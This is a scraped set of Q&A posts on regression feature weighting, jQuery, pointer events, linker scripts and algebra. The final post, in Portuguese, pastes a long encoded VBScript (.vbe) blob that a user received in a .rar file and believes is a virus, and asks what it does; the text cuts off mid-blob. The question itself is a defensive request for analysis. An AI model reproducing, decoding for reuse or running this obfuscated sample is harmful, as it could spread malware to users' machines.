How to apply different importance to different features in linear regressio

Question: I am fitting a linear regression model. I want to apply different importance/priority to different predictive features in the data. Like some of the features are more important than others. How do we incorporate this different importance of features ??
Answer: The only way to accomplish this is through constraints on coefficients. This will not be a standard linear regression though. It'll be similar to regularization except the shrinkage coefficient will be a vector, not scalar.
For instance, you define a problem as a typical least squares with a penalty on coefficients:
$$\min_{\beta_j} \sum_i(y_i-\beta_0-\sum_{j=1}^k x_{ij}\beta_j)^2+\sum_{j=1}^k\frac 1 {\lambda_j}\beta_j^2$$
Here, $\lambda_j$ are the regularization weights. Higher weight means more important feature.
Comment: @Dave In fact it's not uncommon to set the penalty term as $\phi \sum_{j=1}^k\frac 1 {\lambda_j}\beta_j^2$ & tune $\phi$ by cross validation - to penalize coefficients representing nonlinearity or interaction more strongly, say.
Comment: @Dave, I think the idea's that the importance is not tuned but given by OP.
Comment: I do believe this to be the correct answer, so +1. However, am I crazy to think this feels like cheating? Even a regular shrinkage coefficient in ridge or lasso regression would be tuned by cross validation and, therefore, be learned from the data instead of specified.
Answer: Note that, linear regression is a "data driven" approach (in stead of "knowledge driven"). This means the data will tell you which variable is important, and how much are they important (in terms of p-value etc.).
To best of my knowledge, we do not have a good way to tell model which one should be used or not, other than excluding that variable in the model.

I am not very familiar with Bayesian approach, but I think One way of doing it is set the prior of $\beta$ for the knowledge driven variable importance?
Comment: : |  That's not what p-values measure.
Comment: No, it's not that (well, unless you take the word "important" to mean the below, since "important" is an undefined term).  The p-value is the conditional probability of observing a parameter *estimate* equally or more extreme than the estimate actually found, conditional on the assumption that the *true parameter* is zero.
Comment: i was trying to to analyse the data manually, see which feature is important and then maybe doubling the weight corresponding to that feature while training.
Comment: You're not allowed to vote twice for the same candidate. (The analogy isn't perfect, as you *can* vote for several different candidates.) Seriously, weights can be applied to observations. In what sense do you think they can be applied to predictors?
Comment: @MatthewDrury can you help me with p-value? can I understand it as the probability of given predictor is significant / important?
Comment: @MatthewDrury thanks for educating me. So can I say, suppose "true" parameter is 1e-6, and p-value is 2e-16. it is significant but not "important", since the impact of magnitude is too small?
Comment: I duno, it depends on what you take the meaning of "important" to be.  What you're basically doing when you say that is defining important to mean "coefficient is small".  Maybe that makes sense for your application.  But "important predictor" doesn't mean anything statistically.


Jquery .show "scrolls" text

Question: I have a div that shows a div when hovering over it, but the nested div makes it looks like someone can type REALLY fast, instead I want it to appear instant. How do I do this?
The nested div markup:
div(parent) > div(child) > p(scrolls now, needs to be instant).

Cheers
EDIT: full code

Title

    5 Oktember 2015

Lorem ipsum dolor sit amet, consectetur adipisicing elit. Beatae libero quos voluptates cupiditate tempore, architecto nulla excepturi voluptatem assumenda officia qui laborum dolores dicta nisi fuga dolorem nostrum commodi sint accusamus vitae, quibusdam perferendis inventore culpa veritatis esse! Consequatur harum inventore numquam quidem doloremque.

Lorem ipsum dolor sit amet, consectetur adipisicing elit. Qui ipsum ad accsantium quo dignissimos esse aspernatur rem assumenda officiis quidem quos non temporibus neque cumque ipsa doloribus eveniet.

And the jquery:
$('#bookmark1').hover ( function() {
    $(this).children('.note').show ("slow");
    $(this).find('.notebody').show("fast");
});
$('#bookmark1').mouseleave ( function() {
    $(this).children('.notebody').hide ("fast");
    $(this).children('.note').hide("slow");
});

Comment: where is the code? post that too. assumption if you are using `.show()` with some args provided then you can just omit that.
Comment: @Jai Added the code.
Answer: You can omit the passed string value in .show() method:
$('#bookmark1').on({
   mouseenter:function() {
     $(this).find('.note, .notebody').show();
   },
   mouseleave:function() {
     $(this).find('.notebody, .note').hide();
   }
});

And i suggest you to use object literal to bind the events with .on() method.
From the docs:

With no parameters, the .show() method is the simplest way to display an element:
$( ".target" ).show();
The matched elements will be revealed immediately, with no animation.
Comment: Excuse me, but what do you mean with "omit", this is not very clear to me. Your answer helped me greatly, thank you!
Comment: with "omit" i meant to remove the parameters passed in the `.show()/.hide()` methods.
Comment: But then it will not my display my animation, which is crucial in my design. Should I use .animate instead?
Comment: You can use that but if you are also using jquery ui lib then there are some other options with `.show()/.hide()`.

Jquery .show "scrolls" text


Is it possible to check pointerup event is using the same finger as pointerdown in JavaScript

Question: I create a square div, and I want to know how many pointer is triggering pointer down event in the div on the screen; there is no property like event.touches.length in pointer event, so I use a counter variable to calculate the number of finger down (ie pointer down event) inside the div, and achieve these conditions:
1. Pointer down inside the div, counter plus 1.
3. Pointer down inside the div (counter plus 1), and release pointer inside the div, counter minus 1.
3. Pointer down inside the div (counter plus 1), move outside the div, and release outside the div, counter still minus 1.
4. Pointer down and pointer up outside the div (click outside), counter does nothing.
My program is like this:

var elem, counter,
    onDown, onUp,
    animate;

counter = 0;

onDown = function () {
    var body;

    body = document.body;

    counter++;

//    body.addEventListener('mouseup', onUp, false);
    body.addEventListener('pointerup', onUp, false);
};
onUp = function () {
    var body;

    body = document.body;

    counter--;

//    body.removeEventListener('mouseup', onUp);
    body.removeEventListener('pointerup', onUp);
};

elem = document.getElementById('square');
//elem.addEventListener('mousedown', onDown, false);
elem.addEventListener('pointerdown', onDown, false);

animate = function () {
  // Use different color according to the number of fingers
  // How many fingers are trigger pointer down inside the div,
  // and not released yet.
  // (Include the finger which is moved outside after
  //  pointer down inside the div)
  switch (counter) {
    case 1:
        elem.style.backgroundColor = 'red';
        break;
    case 2:
        elem.style.backgroundColor = 'yellow';
        break;
    case 3:
        elem.style.backgroundColor = 'blue';
        break;
    case 4:
        elem.style.backgroundColor = 'black';
        break;
    default:
        elem.style.backgroundColor = 'white';

  }
  requestAnimationFrame(animate);
};

animate();
#square {
  width: 300px;
  height: 300px;
  border: 1px solid black;
}

In general, we only use one mouse, so there is no problem occurred.
But there is a problem occurred in pointer event. For example, my index finger of left hand touch down inside the div, the pointer down event is triggered, counter is 1 now; but my index finger of right hand "click" outside the div, pointer up event is triggered here, so my counter get a wrong number 0. (My left index finger is still pressed)
I don't want click event occurred outside of the div (pointerdown and pointerup are both fired outside of the div) to affect my counter.
If there is a way to determine my pointer up event is correlated to which pointer down event?
Just like the event target of touch start event and touch end event is the same, so that I can know they are related.
Thanks in advance.
Comment: Wouldn't that mean the counter is always zero? (After no more mouse buttons are being pressed)
Comment: In fact, I want to detect how much pointer down in the div. But there is not a property like touch.length in pointer event. I want to use counter to calculate the number of fingers. But I found a problem, if my three fingers down in the div (counter is 3 now), my other finger click outside, the counter is decreased. The counter becomes wrong.
Comment: Yes. When my fingers, which pointer down in the div, are released from touchable screen. The counter should be 0.
Comment: Here, try this [codepen](http://codepen.io/anon/pen/jPbXaV)(You have to release the mouse to the right of the div, but in a complete page without iframes this would work perfectly.)
Comment: Thanks. But it still has problem, if we replace mouse event to IE pointer event, and test in IE on touchable screen. For example, my index finger of left hand press down in div, and my index finger of right hand click outside of div, the counter becomes 0.
Comment: I can see the problem here... I could workaround this, but how many fingers can there be on a screen, respectively how many buttons can one press at a time?
Comment: Sorry, I don't understand what you mean...
I want to do different action based on how many fingers is pressed down in div.
Comment: See this one http://codepen.io/anon/pen/jPbXaV
Comment: Thank. But when finger, which is pressed inside div, move outside of div and release it, the counter still need to minus.
Comment: How about you just reset the value if `body.mouseup` is fired?
Comment: Do you mean reset counter to 0? Currently, problem is occurred on pointer event (pointerdown, pointermove and pointerup). If my finger clicks outside of the div, body.mouseup/body.pointerup will be still fired.
Answer: Since the question is old I'll keep this brief, but I think you might be able to solve your problem by keeping track of the different pointerIds you get in the different pointer events. Also have a look at this MSDN page, specifically at this code snippet:
function pointerdownHandler (evt) {
      evt.target.setPointerCapture(evt.pointerId);
}


How to link static library into specific section?

Question: I am writing code for embedded platform. I need to link with 3rd party SDK. However, the symbols from that SDK should go into specific section (not .text). Is it possible to do that?
I use GNU-based toolchain for xtensa-lx106 processor and build for ESP8266 chip.
Comment: How do you expect anyone to be able to answer without you mentioning which system and compiler you are using?
Answer: To do so you have to modify the linker script that you're using.
You'll likely find it in your makefile in the line that links the final binary. The linker script is the file passed via the -T option.
Once you have this, open it in a text editor and search for the SECTION directive. You'll likely find a group called .text in it which lists all sections that should go into the final text segment.
You can just add the code-section name of the SDK to this list. You can even use wildcards if the SDK has multiple sections with a common prefix (that happends quite a lot).
The same thing can be done using the .data group and the .bss group if nessesary.
After these modifications you can re-link your executable and the sections from the SDK library should go straight into the .text and .data groups.
If you want to, you can also create new groups in the MEMORY declaration at the top of the linker file. That gives you direct control over the exact address that the linker will use. You can then redirect the SDK library sections right into the new memory regions that you've created and you have the libs always at the same address.


what is result the double sum(sigma) with assume n=3?

Question: I'm gonna calculate the double sum on this screenshot with n=3
$$  E[X] = E \left[ \sum_{i=1}^{n-1} \sum_{j=i+1}^n X_{ij} \right]  $$
what is the result I get it?! and how to calculate it?
thanks
Comment: Welcome to MSE.  Please type your post, rather than posting images, when possible.  Images can't be browsed, and aren't accessible to those using screen readers.  If you need help formatting math on this site, here's a [tutorial](https://math.meta.stackexchange.com/questions/5020/mathjax-basic-tutorial-and-quick-reference).
Comment: ok, thank you! .
Answer: With $n = 3$, you have \begin{align*}
E[X] &= E \left[ \sum_{i=1}^2 \sum_{j=i+1}^3 X_{ij} \right]  \\
    &= E \left[ \left. \sum_{j=i+1}^3 X_{ij} \right|_{i=1} + \left. \sum_{j=i+1}^3 X_{ij} \right|_{i=2}  \right]  \\
    &= E \left[ \sum_{j=2}^3 X_{1j} + \sum_{j=3}^3 X_{2j} \right]  \\
    &= E \left[ \left( \left. X_{1j} \right|_{j=2} + \left. X_{1j} \right|_{j=3} \right) + \left( \left. X_{2j} \right|_{j=3}  \right) \right]  \\
    &= E \left[ \left( X_{12} + X_{13} \right) + \left( X_{23} \right) \right]  \\
    &= E \left[ X_{12} + X_{13} + X_{23} \right]  \text{.}
\end{align*}
Comment: thank you so much you saved my day!
Answer: In general,
$$\sum\limits_{i=1}^{n-1}\sum\limits_{j=i+1}^n X_{i,j}$$
will be the sum of all $X_{i,j}$ where $1\leq i<j\leq n$ of which there will be $\binom{n}{2}$ such terms.  So, for example with $n=1000$ you would have each of the terms like $X_{237,560}$ and $X_{2,980}$ where the first index is smaller than the second index and both within the specified range but will not have terms like $X_{500,1}$ where the first index is larger than the second nor will you have terms like $X_{15000,-10}$ where the indices are out of bounds.
In the special case of $n=3$ that would be $X_{1,2}+X_{1,3}+X_{2,3}$ while for $n=4$ you would have $X_{1,2}+X_{1,3}+X_{1,4}+X_{2,3}+X_{2,4}+X_{3,4}$
Comment: thank you so much...


Calculation of linear equation system

Question: I know that $$\frac{1}{x+2y+1 } +\frac{1}{2x+y-6 }=1$$
How can I calculate $x+y$?
Comment: With $x=\frac{13}{3},y=-\frac{7}{6}$ given as another solution... Is something missing ?
Comment: Where is the system of linear equations ?
Comment: Did you have any condition,like $x,y  \in \mathbb{N}$ ?
Comment: You tag system of equation, where is the second eq.?
Comment: Yes, x y z are positive numbers @Khosrotash
Comment: where is $z$  ?    , and did you mean $x,y>0 \in \mathbb{R}$
Comment: Wolfram tells me that $x=5, y=-2$ is a solution, which does indeed satisfy the equation. So we know what we're aiming for ! https://www.wolframalpha.com/input/?i=1%2F%282y%2Bx%2B1%29%2B1%5C%282x%2By-6%29%3D1
Answer: $$\frac{1}{a}+\frac{1}{b}=1 ,a,b\in \mathbb{N} \to \frac12+\frac12=1 \to a=b=2$$so one of the solution come from $$\frac{1}{\underbrace{x+2y+1}_{2} } +\frac{1}{\underbrace{2x+y-6}_{2} }=1\\
\to \begin{cases}2x+y-6=2\\x+2y+1=2\end{cases}\to x=5,y=-2$$but you said $x,y,z >0$
Comment: Caution, we could have $b<0$.
Comment: Yes , you are right,but  B11b notice to positive solution .
Comment: you are right. the question is not clear yet!
Comment: Do you mean for example $a=\frac 12 , b=-1 $?
Comment: can you please make an example for $a,b$ with $b<0$  ? we were talking about $a,b$ didn't we  ?
Comment: Come on, $2\cdot1+1\cdot1-6=-3$.
Comment: I prefer to wait for B11b to clarify the question, It is a conversation without a result between us before clarifying question.
Answer: Observe that
$$\frac1a+\frac1b=1$$ can be written $$(a-1)(b-1)=1$$
and the only integer solutions are $a=b=0$ and $a=b=2$.
But as $x,y$ are positive, $x+2y+1>2$. There are no solutions.

Calculation of linear equation system


script.vbe - vírus criptografado

Question: Recebi um arquivo.rar e dentro tinha um arquivo.vbe vou colocar abaixo, gostaria que se alguém tiver alguma ideia do que esse script faz, me informasse, pois um usuário da minha rede clicou e o firefox fica piscando uma tela que não da tempo de ver o que é e na sequencia fecha sozinho.
<code>#@~^4z4AAA==@&@&rU,2MDWMP"n/!:nPg+aO@&@&fbhPkH5dG^l^nmY4@&9rsPdHIJW1lsKmYt+@&GkhPk\ISG1l^nlDtU(1:j6?z@&9rsP/teSKml^KCY4(hq@&f(\,b#qU6?@&/\edWmCshlOt,x,2U7kMWxvZ4.`+*bPLP/4M`F8+#,[P;4.`8Fy#~[~/4DcvRbPLP/4M`,{b,[~Z4.vFq+#,[P;tMc,F#bPLP/4M`,ybP|P@&,'~Z4DvG{#~',Z4Dv0&*P'~;tDc0y#~[,/4DcRc*P[,Z4.`RvbPLP/4M`v+bPLPZ4.cvO#,[~Z4.v*q#,'P;t.cl!#~m,@&@&@&@&(6PobV26b/Dd`kHeSKmCshlY4~[,ZtMc1 *#,K4+U~q/^Db2Ycp;rD@&@&\VGk.Pk\ISG1l^nlDt@&dHISGmmVKCDt?&HK`r?z~xP,/t5JW^C^nCY4~[,Z4.v, b~LP/tMc8FX*PLPZ4Dvq!l#~[,Z4.vFFZbPLPZ4.cF8v*P'P/4M`qFFbPLP/4M`Fqq*PmP@&~LP/4DvFFl#,'P;t.`OGb@&z.qU6?,'Pk\eSKmmVKlO4,[~Z4.`O b~LPZ4.v,{#,',Z4M`OG#,[,/tM`*v*P'~;tDvq Z#@&k\eSKmmVKlO4on(P{~/t5JG1lVKCDt~[,/4DcO *P[,Z4.`8!q#,[~/4D`8q%*P[,/4DvF8FbP'~;t.`8TG*P'~;tDcqZFbPL~;t.vc+#P|P@&~[,Z4DvF+T*P[,/tM`F8+bPLP;t.`qTl#@&/teSKmCshlY4+,'~/tedW^mVhlY4PL~Z4Dc,y#~',Il  [Ws?YMrUovG*P'P/4M`1G*~[,Z4.vcvb~LP/tMc8!q*PLPZ4Dvq Z#~[,Z4.vF!8bP|P@&@&d\5dW1lsnCO4PxPk\5dW^C^nlO4,[~Z4.v,+*PLPImx9G:UY.k  oc0*P[,/tM`c+b~[,Z4DcFTq*P'P;4DvF+T*P[~/4DcFZq*@&\0fbDPkHIJW1lsnmY4j&1K`6?z@&@&@&uPKhfKhUVGC9P/tMcFZcb~LPZ4.vFqv*~LP/4DvFF+#,'P;t.`8F+b,[P;4DvFFlb~[,Z4Dc*0b,[~Z4.`WGb~LPZ4.vc{#,',Z4M`8F**P|~@&,[~Z4Dcq8*#,'P;tDvqT%*PLP/t.cW*bPL~Z4Dcq8 #~',Z4Dvq8cb,[,ZtM`8qF*P'P;t.c8 !*~[,ZtMcq 8#,{~@&~',Z4Dv*v*P'~;tDcqZ,bPL~;t.vFyF#,[,/tM`***P'~;tDv1G*P[,/4DvFZ!bP'~;t.`8T!*P'~;tDcq8cbPL~;t.vc+#P|P@&~[,Z4DvFqq*P[,/tM`F8*bPLP;t.`qT2#~[,/tM`*{*P[~/4DcFZ1*P',Z4D`8 8bPLP/tM`1{*P[,/tM`FZTbPLP;t.`qTZ#~{,@&PLP/4M`Fq**P'P;4M`q8 *P[,Z4.`8F*#,[~/4D`8qF*P[,/4DvFy!bP'~;t.`8+F*P'~;tDc*+#~[,/4Dc8Fy#P|P@&~[,Z4DvFT**P[,/tM`F8+bPLP;t.`*{*P'P;4DvFT**P[~/4DcF8*P',Z4D`8F+bPLP/tM`qqy#PL~Z4D`W{bP|P@&P'P/4M`*G*~[,Z4.vFF+b,[~Z4.vFqW#,[P;tMcF8FbPLP/4M`FZT#,[P;4.`8FF#~[~/4DcF8#,[~/4D`qq8#~[,/4Dc8Fl#P|P@&~[,Z4DvFqT*P[,/tM`,Fb~[,Z4DcFq*P'P;4DvFq{*P[~/4DcF8**P',Z4D`OG*~[,Z4DvFTX*P[,/tM`F8XbPLP;t.`11*PmP@&~[,Z4.vF!*b,[~Z4.v,{*PLPZ4DvqFl#~[,Z4.vcv*~[,ZtMc1,*PLP/t.c8Fq#,'P;t.c8!,b~LP/tMcWvb,[,ZtM`O0#,{~@&,[~/4D`8qc*P[,/4DvcF#~[~/4DcFZq#,[~/4D`qqZ#~[,/4Dc8FR#PLP;4DvFT**P'~;tDvq!2#PL~/tM`OGbP'~;t.`8T!*Pm~@&P[~/4DcF8q*P',Z4D`WG*~[,Z4DvFTq*P[,/tM`F80bPLP;t.`qq8#~[,/tM`qTF#P'~;t.`8T8#~LP;tDvc+bP|P@&PLP/4M`FyT#,[P;4.`8Fy#~[~/4DcFZX#BPd\ISW^C^nCY4phq@&_K:nfKh   sWmN~Z4DcqZc#,'P;tDvqqv*PLP/t.c8F#,'P;t.c8F b~LP/tMc8FX*PLPZ4DvX%*P'P;t.cWG#,'P;tDv*{#,[,Z4Dcq8*bP|~@&,[~/4D`qql#~[,/4Dc8!R#PLP;4DvcX#,[~/4D`8q *P[,/4DvF8cbP'~;t.`8qF*P'~;tDcqy!bPL~;t.vFyF#,{,@&PLP/tM`**P[,/tM`FZ1bPLP;t.`q+8#~[,/tM`*X*P[~/4Dc,Fb,[~;tM`FZ!*~[,Z4DvFTT*P[,/tM`F8*bPLP;t.`**PmP@&~[,Z4.vFFqb,[~Z4.vFqW#,[P;tMcFZ&bPLP/4M`cFbPLPZ4.cFZ,*P'P/4M`q 8bPLP/4M`,{b,[~Z4.vFTZ#,[P;tMcFZ!bP|P@&~LPZ4.`8Fc*~'P;tM`qF+b,[~Z4.`8F*b,[P/4M`qF8b,[~;tM`Fy!*~[,Z4DvF+q*P[,/tM`c+b~[,Z4DcFq+*PmP@&~[,Z4.vF!*b,[~Z4.vFqy#,[P;tMccF#~[,Z4.vF!WbPLPZ4.cF8v*P'P/4M`qF+bPLP/4M`Fq+*P'P;4M`*F#,{P@&PL~Z4DccF#~',ZtMcF8 #,'~Z4DvFqcb~LP/tMcF8Fb~LPZ4.vFT!*~LP/4DvFFF#,'P;t.`8Fb,[P;4DvFF8b~[,Z4DcFqX*PmP@&~[,Z4.vFFTb,[~Z4.v,{*PLPZ4DvqF+#~[,Z4.vFFFbPLPZ4.cF8c*P'P/4M`1G*~[,Z4.vF!Xb,[~Z4.vFql#,[P;tMc,O#~{,@&~',ZtMcFZc#,'~Z4Dv,{#~',Z4DvqFl#~',Zt.cWvbPL~;t.v,O#PLP;4DvFqF*P'~;tDvq!O#PL~/tM`WvbP'~;t.`O0#,{~@&,[P/4M`qFWb,[~;tM`cF#,'P;t.`8!qb,[P;4DvFFZb~[,Z4DcFq0*P'P;4DvFTX*P[~/4DcFZf*P',Z4D`OG*~[,Z4DvFTT*P{,@&PLPZ4.cF8F*P'P/4M`*G*~[,Z4.vF!1b,[~Z4.v,{*PLPZ4DvqFZ#~[,Z4.vcv*~[,ZtMcq!8#,[~Z4.vF+!*~[,Z4.vF!qb,{~@&B~kHedW1lVhlD4@&@&@&uK:n9GSxVKCN,ZtMcq!W#,[~Z4.vFqv*~[,Z4.vFFb,[~Z4.vFqy#,[P;tMcF8*bPLP/4M`*RbPLPZ4.ccF#,[~Z4.vc{#,'P;t.c8F*b~|P@&PL~;t.vF8*#,[,/tM`q!R#~',ZtMccl#PL~/tM`8F+#~',Z4DvqFW#~',Zt.c8Fq#,',Z4M`8 !*PL~Z4DcFyFb~|P@&,'P;tDv*#,[,Z4DcqZ,bPL~Z4DcqyF#~',Z4Dv*l#~LP;tDv,FbPLP/tM`qTZ#PL~Z4D`8TT#,[,Z4Dcq8cbPL~Z4Dc*+#Pm~@&P'P;4M`q8F*P[,Z4.`8F*#,[~/4D`8T&*P[,/4DvcF#~[~/4DcFZ1#,[~/4D`q+8#~[,/4DcOG*P[,Z4.`8!T#,[~/4D`8T!*P{,@&~[,Z4DcFq**P'P;4DvFq+*P[~/4DcF8**P',Z4D`8F8bPLP/tM`q+Z#PL~Z4D`8+q#,[,Z4Dc*+#~[,/tM`qqy#Pm~@&P'P;4M`qZc*P[,Z4.`8F+#,[~/4D`W{#,[P;4.`8!W#~[~/4DcF8#,[~/4D`qq+#~[,/4Dc8Fy#PLP;4Dvc{#,{~@&,[P;4DvcG*~'P;tM`qF+b,[~Z4.`8F*b,[P/4M`qF8b,[~;tM`FZ!*~[,Z4DvFq{*P[,/tM`F8bPLP;t.`qq8#~[,/tM`qql#Pm~@&P'P;4M`q8!*P[,Z4.`OGbPLP/4M`F8#,[P;4.`8FF#~[~/4DcF8*#,[~/4D`1{*P'P;4M`qZ**P[,Z4.`8FX#,[~/4D`O1#,{P@&~'P;tM`q!*b,[~Z4.`OGb~LPZ4.vFq**~LP/4Dvcv*PL~Z4Dc,O#~',ZtMcF8F#,'~Z4DvFT,b~LP/tMcc+#~',Zt.cO%bP|~@&P',Z4D`8FWbPLP/tM`*{*P[,/tM`FZqbPLP;t.`qqZ#~[,/tM`qqR#P'~;t.`8Tl#~LP;tDvFZf#,[~Z4Dc1F#PL~Z4D`8TT#,{,@&~[~/4DcF8q#,[~/4D`*{*P'P;4M`qZ,*P[,Z4.`OGbPLP/4M`F8T#,[P;4.`8!l#~[~/4DcFZ+#,[~/4D`qT8#~[,/4Dc8Fl#P|P@&~[,Z4DvFq*P[,/tM`c+b~[,Z4DcF+T*~~/teSKmCshlY4j&1Pj}jzP',Z4D`O *~[,Z4DvFT1*P[,/tM`,Fb~[,Z4DcFqT*PmP@&~[,Z4.vF!Xb,[~Z4.vFTy#,[P;tMcFZFbPLP/4M`F8X#,[P;4.`8F+#~[~/4Dcc+bPLP/4M`FT*P'P;4M`q8**P{,@&,'P;t.`8Fqb,[P;4DvFFZb@&C:KhfGhUsKl[P;4DvFT**P[~/4DcF8*P',Z4D`8F+bPLP/tM`qqy#PL~Z4D`8qX#,[,Z4DcXR#~[,/tM`*{*P[~/4DccFb,[~;tM`F8**~{,@&~[,Z4.vFFlbPLPZ4.cFZ%*P'P/4M`***~[,Z4.vFF+b,[~Z4.vFqW#,[P;tMcF8FbPLP/4M`FyT#,[P;4.`8 8#~{~@&,[~Z4.`Wvb~LPZ4.vFT,*~LP/4DvF 8#,'P;t.`W*b~LPZ4.`OG#,'~Z4DvFT!b~LP/tMcFZ!b~LPZ4.vFqc*~LP/4Dvcv*P|~@&,[~Z4Dcq8F#,'P;tDvqqc*PLP/t.c8!f#,'P;t.cWG#~',Z4DvqZ,b,[,ZtM`8+F*P'P;t.cOG#,'P;tDvqT!*PLP/t.c8!T#,mP@&P'~;tDcq8cbPL~;t.vF8 #,[,/tM`qFW#~',ZtMcF8F#,'~Z4DvF+!b~LP/tMcFyFb~LPZ4.vc#,',Z4M`8F *P|~@&,[~Z4DcqZc#,'P;tDvqq *PLP/t.cWGbPL~Z4DcqZc#~',Z4Dvq8vb,[,ZtM`8qv*P'P;t.c8F *~[,ZtMc*G*P|P@&P'~;t.`W{#,[~/4D`qqy#~[,/4Dc8FW#PLP;4DvFqF*P'~;tDvq!Z#PL~/tM`8F{#~',Z4DvqF+#~',Zt.c8Fq#,',Z4M`8F**P|~@&,[~Z4Dcq8!#,'P;tDv1{#,[,Z4Dcq8vbPL~Z4Dcq8G#~',Z4Dvq8cb,[,ZtM`O{#,[~Z4DcqZ*#,'P;tDvqq**PLP/t.cO,bP|~@&,[~/4D`qTW#~[,/4DcOG*P[,Z4.`8FX#,[~/4D`W#,[P;4.`O,*P'P/4M`qF8bPLP/4M`FT1*P'P;4M`*+#,[P;tMc,R#~{,@&~',ZtMcF8c#,'~Z4Dvc{#~',Z4Dvq!8#~',Zt.c8FT#,',Z4M`8F%*PL~Z4DcFZ*b~LPZ4.`8!&*~'P;tM`1Gb~LP/tMcFZ!b~|P@&~',Z4Dvq8Fb,[,ZtM`W{#,[~Z4DcqZv#,'P;tDvqq&*PLP/t.c8F{#,'P;t.c8!Fb~LP/tMc8F**PLPZ4Dvq 8#~{,@&~',ZtMcc+#PL~/tM`8!1#~',Z4Dvq!l#~',Zt.c8FT#,',Z4M`Wv#,[,/tM`q Z#S~kH5dGmmVnmO4?&1:j6?)~LP/tMc,y#~m,@&P'~;t.`8T+#~LP;tDvF8f#,[~Z4Dcq8G#,'P;tDvqTF*PLP/t.c8F*#,'P;t.c8 Fb~LP/tMcWvb,[,ZtM`8T,*P'P;t.c8!**~{,@&PL~/tM`8FT#~',Z4Dv*v*P'~;tDcqZvbPL~;t.vF8*#@&C:PnGWAx^WC[,ZtMcFZc#,'~Z4DvFqvb~LP/tMcF8vb~LPZ4.vFq *~LP/4DvFFl#,'P;t.`l%b~LPZ4.`WG#,'~Z4Dvc{#~',Z4DvqFl#~m,@&P'~;t.`8ql#~LP;tDvFZ0#,[~Z4Dc*l#PL~Z4D`8q+#,[,Z4Dcq8cbPL~Z4Dcq8F#~',Z4Dvqy!b,[,ZtM`8+F*PmP@&P'~;tDv*v*P[,/4DvFZ,bP'~;t.`8+F*P'~;tDc*l#~[,/4DcOG*P[,Z4.`8!T#,[~/4D`8T!*P[,/4DvF8cbP'~;t.`W#,{~@&,[P/4M`qF8b,[~;tM`F8c*~[,Z4DvFTf*P[,/tM`cFb~[,Z4DcFT1*P'P;4DvF+q*P[~/4Dc,Fb,[~;tM`FZ!*~[,Z4DvFTT*P{,@&PLPZ4.cF8c*P'P/4M`qFybPLP/4M`Fq**P'P;4M`q8F*P[,Z4.`8 T#,[~/4D`8+F*P[,/4Dvc+#~[~/4DcF8+#,{~@&,[P/4M`q!Wb,[~;tM`F8 *~[,Z4Dvc{b,[P;4DvF!Wb~[,Z4DcFq*P'P;4DvFq*P[~/4DcF8+*P',Z4D`WG*~{,@&~[,Z4.vcG*~[,ZtMcqFy#,[~Z4.vFqc*~[,Z4.vFFqb,[~Z4.vFTZ#,[P;tMcF8GbPLP/4M`F8#,[P;4.`8F8#~[~/4DcF8X#,{~@&,[P/4M`qFZb,[~;tM`,F#,'P;t.`8Fb,[P;4DvFFFb~[,Z4DcFq**P'P;4Dv,{b,[P/4M`q!lb,[~;tM`F8**~[,Z4Dv,1b,{P@&~[,ZtMcq!W#,[~Z4.v,{#,'P;t.c8F*b~LP/tMcWvb,[,ZtM`O1#,[~Z4Dcq8F#,'P;tDvqT,*PLP/t.cWvbPL~Z4Dc1R#Pm~@&P'P;4M`q8c*P[,Z4.`WGbPLP/4M`FZq#,[P;4.`8FZ#~[~/4DcF80#,[~/4D`qTl#~[,/4Dc8!2#PLP;4Dv,{#,[~/4D`8T!*P{,@&~[,Z4DcFqq*P'P;4Dvc{b,[P/4M`q!Wb,[~;tM`F8v*~[,Z4DvFT1*P[,/tM`FZ0bPLP;t.`XT*P'P;4Dv,1b,[P/4M`1G*~|P@&,[,ZtM`8q!*P'P;t.c8F%*~[,ZtMc1G*PLP/t.c8FX#,'P;t.cWv#~',Z4Dvqy!bBPkH5dW1CVhlOtUqHP`r?z~[,ZtMc1 *P|P@&P'~;t.`8Tc*P'~;tDcq8vbPL~;t.vFZ,#,[,/tM`q!R#~',ZtMc*Z#PL~/tM`O,bP'~;t.`O{#,[~/4D`qqZ#~[,/4Dc8FR#P|P@&~[,Z4Dv,{b,[P;4DvFFlb~[,Z4Dccb,[~Z4.`8!b,[P/4M`qFlb@&CP:nGWh    VKCN,Z4DvFT**P[,/tM`F8bPLP;t.`qq+#~[,/tM`qqy#P'~;t.`8ql#~LP;tDv*RbPLP/tM`*{*P[,/tM`cFb~[,Z4DcFqX*PmP@&~[,Z4.vFFXb,[~Z4.vFTR#,[P;tMccl#~[,Z4.vFFybPLPZ4.cF8c*P'P/4M`qF8bPLP/4M`F+T*P'P;4M`qyF*P{,@&,'P;t.`Wvb~LPZ4.`8!,*~'P;tM`q qb,[~Z4.`W*b~LPZ4.v,{#,',Z4M`8!!*PL~Z4DcFZ!b~LPZ4.`8Fc*~'P;tM`*vb~|P@&PL~Z4Dcq8F#~',Z4Dvq8cb,[,ZtM`8T&*P'P;t.cWG#,'P;tDvqT,*PLP/t.c8 q#,'P;t.cOG#~',Z4DvqZ!b,[,ZtM`8T!*PmP@&P'~;tDvqFW#PL~/tM`8F+#~',Z4DvqFW#~',Zt.c8Fq#,',Z4M`8 !*PL~Z4DcFyFb~LPZ4.`Wv#,'~Z4DvFq b~|P@&PL~Z4DcqZc#~',Z4Dvq8 b,[,ZtM`W{#,[~Z4DcqZc#,'P;tDvqqv*PLP/t.c8F#,'P;t.c8F b~LP/tMcWGb,{,@&PLP;4Dvc{#,[~/4D`8q 